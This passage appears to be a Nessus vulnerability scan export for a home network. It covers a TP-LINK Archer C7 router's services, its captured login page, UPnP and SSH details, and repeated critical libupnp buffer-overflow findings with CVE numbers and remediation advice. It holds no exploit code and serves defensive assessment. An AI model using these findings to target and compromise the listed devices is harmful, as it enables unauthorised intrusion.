system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : TP-LINK Archer C7 2.0
Confidence level : 100
Method : UPnP

 
The remote host is running TP-LINK Archer C7 2.0										None								12/9/03		3/9/20

		19506						None		192.168.0.2		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 253 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.2		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.2		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.2		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: Router Webserver
  Connection: close
  Content-Type: text/html
  WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router Archer C7"
  
Response Body :

<META http-equiv=Content-Type content="text/html; charset=utf-8">
<HTML>
<HEAD><TITLE>Archer C7</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<SCRIPT language="javascript" type="text/javascript">
var httpAutErrorArray = new Array(
3, 1, "http://192.168.0.2", 0,0 );
</SCRIPT>


<SCRIPT language="javascript" type="text/javascript">

if(window.parent != window)

{

	document.cookie = "Authorization=;path=/";	

	window.parent.location.href = httpAutErrorArray[2];

}

</SCRIPT>

<script type="text/javascript" src="../login/encrypt.js" /></script>

<style type="text/css">

body{

	font-family:Arial, sans-serief;

	background-color:#E5E5E5;

	margin:0px;

	padding:0px;

}

div.loginBox

{

	display: block;

	position:relative;

	margin-top:10%;	

	text-align:center;

}

.noteDiv{

	color:gray;

	font-family:Arial;

	width:395px;

	text-align:left;

	margin:0px auto;

	font-size:14px;

}

#note{

	display:inline-block;

	vertical-align:top;

	_display:inline;

	_zoom:1;

	width:50px;

	font-weight:bold;

}

#tip{

	display:inline-block;

	vertical-align:top;

	_display:inline;

	_zoom:1;

	width:340px;

	font-weight:bold;

}

div.panelThre{

	margin-top:10px;

}

div.picDiv{

	width:395px;

	height:276px;

	background:url(../login/loginbg.png);

	position:relative;

}

input.pcPassword{

	width:300px;

	height:50px;

	line-height:50px;

	padding-left:20px;

}

div.PCBtnDiv{

	position:relative;

	margin-top:20px;

}

img.logoPic{

	width:100%;

}

#copyright{

	-webkit-text-size-adjust:none;

	font-size:8px;

	color:#6a6969;

	font-family:"Verdana";

	font-weight:normal;

	margin-top:40px;

	display:inline-block;

}

.topLogo{

	background:url(../login/top_bg.jpg);

	height:90px;

}

.style1 {

	font-family: "Arial";

	color: #FFFFFF;

	font-size: 16px;

	padding-right: 50;

	text-align: right;

	font-weight: bold;

	white-space: nowrap;

}

.style2 {

	font-size: 12px;

	font-family: "Arial";

	font-weight: bold;

	padding-right: 50;

	text-align: right;

	white-space: nowrap;

	color: #FFFFFF;

}

ul{

	padding:60px 0px 0px 0px;

	margin:0px;

	list-style:none;

}

ul li{

	height:34px;

	width:222px;

}

li.unLi{

	background:url(../login/loginUser.png);

}

li.pwLi{

	background:url(../login/loginPwd.png);

}

li.blank{

	height:15px;

}

input.text{

	border:0px;

	height:26px;

	line-height:26px;

	width:175px;

	padding:0px;

	margin:4px 0px 0px 40px;

	font-size:14px;

	color:#6a6969;

	font-family:"Verdana","Arial";

	font-weight:normal;

}

label.loginBtn{

	height:34px;

	display:inline-block;

	width:113px;

	margin-top:30px;

	background:url(../login/loginBtn.png);

	cursor:pointer;

}

</style>

<script type="text/javascript">

function CheckUserPswChars(szValue)

{

	var reg = /^[\x21-\x7e]+$/;	

	if((szValue.length > 0) && reg.test(szValue))

	{

		return true;

	}	

	return false;

}



function CheckUserPswInvalid()

{

	var userName = $("userName");

	var pcPassword = $("pcPassword");	

	

	if(!CheckUserPswChars(userName.value))

	{

		userName.select();

		userName.focus();

		return false;	

	}

	

	if(!CheckUserPswChars(pcPassword.value))

	{

		pcPassword.select();

		pcPassword.focus();

		return false;	

	}

	

	return true;

}



function ResetUserPsw(elementName)

{

	$(elementName).value = "";

	$(elementName).focus();

}



function PCWin(event)

{	

	if (event.keyCode == 13)

	{

		PCSubWin();

	}

}



function PCSubWin()

{

	if((httpAutErrorArray[0] == 2) || (httpAutErrorArray[0] == 3))

	{

		if(true == CheckUserPswInvalid())

		{

			var username = $("userName").value;				

			var password = $("pcPassword").value;	

			if(httpAutErrorArray[1] == 1)

			{

				password = hex_md5($("pcPassword").value);	

			}			

			var auth = "Basic "+ Base64Encoding(username + ":" + password);

			document.cookie = "Authorization="+escape(auth)+";path=/";

			location.href ="../userRpm/LoginRpm.htm?Save=Save";

			return true;

		}

		else

		{

			$("note").innerHTML = "NOTE:";

			$("tip").innerHTML = "Username and password can contain between 1 - 15 characters and may not include spaces.";	

		}

	}

	return false;

}



function w(str)

{

	document.write(str);

}



function $(id)

{

	return document.getElementById(id);

}



function setElementStyle(bShow)

{

	var unLi = $("unLi");

	var pwLi = $("pwLi");

	var userName = $("userName");

	var pcPassword = $("pcPassword");

	var loginBtn = $("loginBtn");	

	

	if(bShow)

	{

		$("userName").style.display = "";

		$("pcPassword").style.display = "";		

		

		pcPassword.onfocus = function(){

			pwLi.style.background = "url(../login/loginPwdH.png)";

		};

		pcPassword.onblur = function(){

			pwLi.style.background = "url(../login/loginPwd.png)";

		};

		

		userName.onfocus = function(){

			unLi.style.background = "url(../login/loginUserH.png)";

		};

		userName.onblur = function(){

			unLi.style.background = "url(../login/loginUser.png)";

		};

		

		loginBtn.onmouseover = function(){

			loginBtn.style.background = "url(../login/loginBtnH.png)";

		};

		loginBtn.onmouseout = function(){

			loginBtn.style.background = "url(../login/loginBtn.png)";

		};

		

		$("userName").focus();

	}

	else

	{

		$("userName").style.display = "none";

		$("pcPassword").style.display = "none";		

	}

}



function pageLoad()

{

	var count = 14, tip = $("tip"), note = $("note");	

	var min = 0, sec = 0;

	document.cookie = "Authorization=;path=/";	

		

	if(window.parent != window)

	{

		window.parent.location.reload();

	}

	var ErrNum = httpAutErrorArray[0]; 

	switch(ErrNum)

	{

		case 0:

			note.innerHTML = "NOTE:";

			tip.innerHTML = "The router allows only one administrator to login at the same time, please try again later.";	

			setElementStyle(false);

		break;

		case 1:	

			note.innerHTML = "NOTE:";

			tip.innerHTML = "You have exceeded ten attempts, please try again after two hours.";	

			setElementStyle(false);

		break;

		case 2:

			note.innerHTML = "NOTE:";

			tip.innerHTML = "The username or password is incorrect, please input again.";

			setElementStyle(true);

		break;

		case 3:

		default:

			tip.innerHTML = "";

			note.innerHTML = "";

			setElementStyle(true);

		break;

	}

}

</script>

</head>

<body onkeypress="PCWin(event)" onLoad="pageLoad()">

	<div class="topLogo">

		<table cellpadding=0 cellspacing=0 width="100%">

			<tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%">

			<tr><td><a href="http://www.tp-link.com" target="blank" ><img src="../login/top1_1.jpg" border="0" style="cursor:pointer"></a></td>

				<td width="490" align=right background="../login/top1_2.jpg" style="padding-top:23">

					<table>

						<tr><td class="style1">AC1750 Wireless Dual Band Gigabit Router</td></tr>

						<tr><td class="style2"> Model No. Archer C7 </td></tr>

					</table>

				</td>

			</tr>

			</table></td></tr>

		<tr><td><IMG height=3 src="../login/top2.jpg" width="100%" align=top border=0></td></tr>

		</table>

	</div>

	<div class="loginBox">	

		<div class="noteDiv">

			<span id="note"></span>

			<span id="tip"></span>

		</div>

		<div class="panelThre" align="center">

			<div align="center" class="picDiv" align="center">

				<ul>

					<li id="unLi" class="unLi"><input class="text" id="userName" type="text" maxlength="15" /></li>

					<li class="blank"></li>

					<li id="pwLi" class="pwLi"><input class="text" id="pcPassword" type="password" maxlength="15"/></li>

				</ul>

				<label id="loginBtn" class="loginBtn" onClick="PCSubWin()"/></label>

				<div>

				<label id="copyright">Copyright &copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved. </label>			

				</div>

			</div>

		</div>

	</div>

</body>

</html>										None								1/30/07		11/22/19

		25220						None		192.168.0.2		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.2		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.2:49153/wps_device.xml
    http://192.168.0.2:49152/wps_device.xml

And advertises these unique service names :

    uuid:12345678-9abc-def0-1234-ec086bf938c1::upnp:rootdevice
    uuid:12345678-9abc-def0-1234-ec086bf938c1::urn:schemas-wifialliance-org:device:WFADevice:1
    uuid:12345678-9abc-def0-1234-ec086bf938c1::urn:schemas-wifialliance-org:service:WFAWLANConfig:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.2		tcp		49152		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.2:49152/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: Wireless Router Archer C7
manufacturer: TP-LINK
manufacturerURL: http://www.tp-link.com
modelName: Archer C7
modelDescription: Archer C7
modelName: Archer C7
modelNumber: 2.0
modelURL: http://http://www.tp-link.com:5904081
serialNumber: 1.0
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.2		tcp		49153		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.2:49153/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: Wireless Router Archer C7
manufacturer: TP-LINK
manufacturerURL: http://www.tp-link.com
modelName: Archer C7
modelDescription: Wireless N Router
modelName: Archer C7
modelNumber: 2.0
modelURL: http://192.168.0.2:80
serialNumber: 1.0
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.2		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

EC:08:6B:F9:38:C1 : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		64394		CVE-2012-5960		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		54615						None		192.168.0.2		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 100
										None								5/23/11		5/23/11

		66334						None		192.168.0.2		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).



										None								7/8/13		10/16/20

		64394		CVE-2012-5961		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5962		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		70657						None		192.168.0.2		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1

The server supports the following options for server_host_key_algorithms : 

  ssh-dss
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1
  hmac-sha1-96

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1
  hmac-sha1-96

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.2		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
  twofish-cbc
  twofish128-cbc
  twofish256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.2		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
  hmac-sha1-96

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
  hmac-sha1-96
										Low								11/22/13		12/14/16

		86420						None		192.168.0.2		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - EC:08:6B:F9:38:C1
										None								10/16/15		5/13/20

		64394		CVE-2012-5963		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5964		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5965		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
